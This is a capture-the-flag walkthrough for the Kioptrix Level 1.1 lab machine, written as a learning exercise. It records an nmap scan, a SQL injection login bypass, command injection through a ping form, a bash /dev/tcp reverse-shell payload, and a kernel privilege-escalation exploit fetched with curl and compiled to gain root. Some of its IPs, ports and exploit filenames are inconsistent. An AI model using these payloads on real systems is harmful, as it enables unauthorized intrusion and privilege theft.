KIOPTRIX Level 1.1 (#2)
Scanning
We first need to get the target IP. in my case network sittings was bridged so i run sudo netdisover
to catch all ip in my network => kioprix ip is 192.168.1.6
you can use nmap to catch your ip using -sP flag
nmap
sudo nmap -sV -p- -O -T4 192.168.1.7
-sVdetermine service/version info-T4for faster execution-p-scan all ports-Oidentify Operating System
sudo nmap -p- -T4 -O -A 192.168.1.6
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-19 06:35 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00090s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 843/udp status
|_ 100024 1 846/tcp status
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_ssl-date: 2021-07-19T07:27:09+00:00; -3h09m42s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
846/tcp open status 1 (RPC #100024)
3306/tcp open mysql MySQL (unauthorized)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3.2
OS details: Linux 3.2
Network Distance: 2 hops
​
Host script results:
|_clock-skew: -3h09m42s
​
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.12 ms 172.16.129.2
2 0.14 ms 192.168.1.6
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.23 secondslets take a look on port 80
administrator login form !!
lets try SQLi
username: administrator password: ' or ''='
after login we find ping capability
Gaining a Foothold
OS command injection
ping 192.168.1.8 && whoami
output : ping 1.1.1.1 & whoami apache
lets try to reach /etc/passwd
ping 192.168.1.8 && cat /etc/passwd
ping 192.168.1.8 & cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bashGet host info
ping 192.168.1.8 & uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
Create a shell session
Open a shell session:
Set up netcat listener using
nc -lvp 4444Using the
; bash -i >& /dev/tcp/kioptrix/4444 0>&1payload I was able to create a reverse-shell Now we have shell using apache user.Now we have shell ...
---
Privilege Escalation
Find Exploit
from searchsploit we find this
➜ ~ searchsploit Linux Kernel CentOS
​
------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------ ---------------------------------
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedor | linux_x86-64/local/42275.c
Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6 | linux_x86/local/42274.c
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/1 | linux/local/9545.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4 | linux_x86/local/9542.c
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege | linux/local/25444.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - | linux_x86-64/local/45516.c
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'aiptek' Nullpointer Derefere | linux/dos/39544.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cdc_acm' Nullpointer Derefer | linux/dos/39543.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cypress_m8' Nullpointer Dere | linux/dos/39542.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'digi_acceleport' Nullpointer | linux/dos/39537.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer Derefe | linux/dos/39541.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'Wacom' Multiple Nullpointer | linux/dos/39538.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor 'treo_attach' Nullpoint | linux/dos/39539.txt
Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor clie_5_attach Nullpoint | linux/dos/39540.txt
Linux Kernel 3.10.0 (CentOS 7) - Denial of Service | linux/dos/41350.c
Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'iowarrior' Driver Cras | linux/dos/39556.txt
Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) - 'snd-usb-audio' Crash ( | linux/dos/39555.txt
Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (C | linux/local/42887.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Esca | linux/local/35370.c
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) A | linux/local/45175.c
------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
​lets take a copy of Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4 | linux_x86/local/9542.c
➜ ~ searchsploit -m 9542.c # take a copy for current working directoryCreate a Python Simpleserver to serve the file (Python3 command is a bit different)
➜ ~ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...On the target machine, using our open shell session, run curl to pull the exploit file using curl http://192.168.1.8:8080/9545.c --output /tmp/9545.c command.
Note:
We’re storing the file in the
/tmppath as sometimes we might encounter permissions issues storing and accessing files in other directories.
Use ls -la /tmp to verify the file exists
bash-3.00$ gcc -o my_exploit 9545.c
9545.c:376:28: warning: no newline at end of file
​
bash-3.00$ ./my_exploit
sh: no job control in this shell
​
sh-3.00# whoami
rootRoot Access
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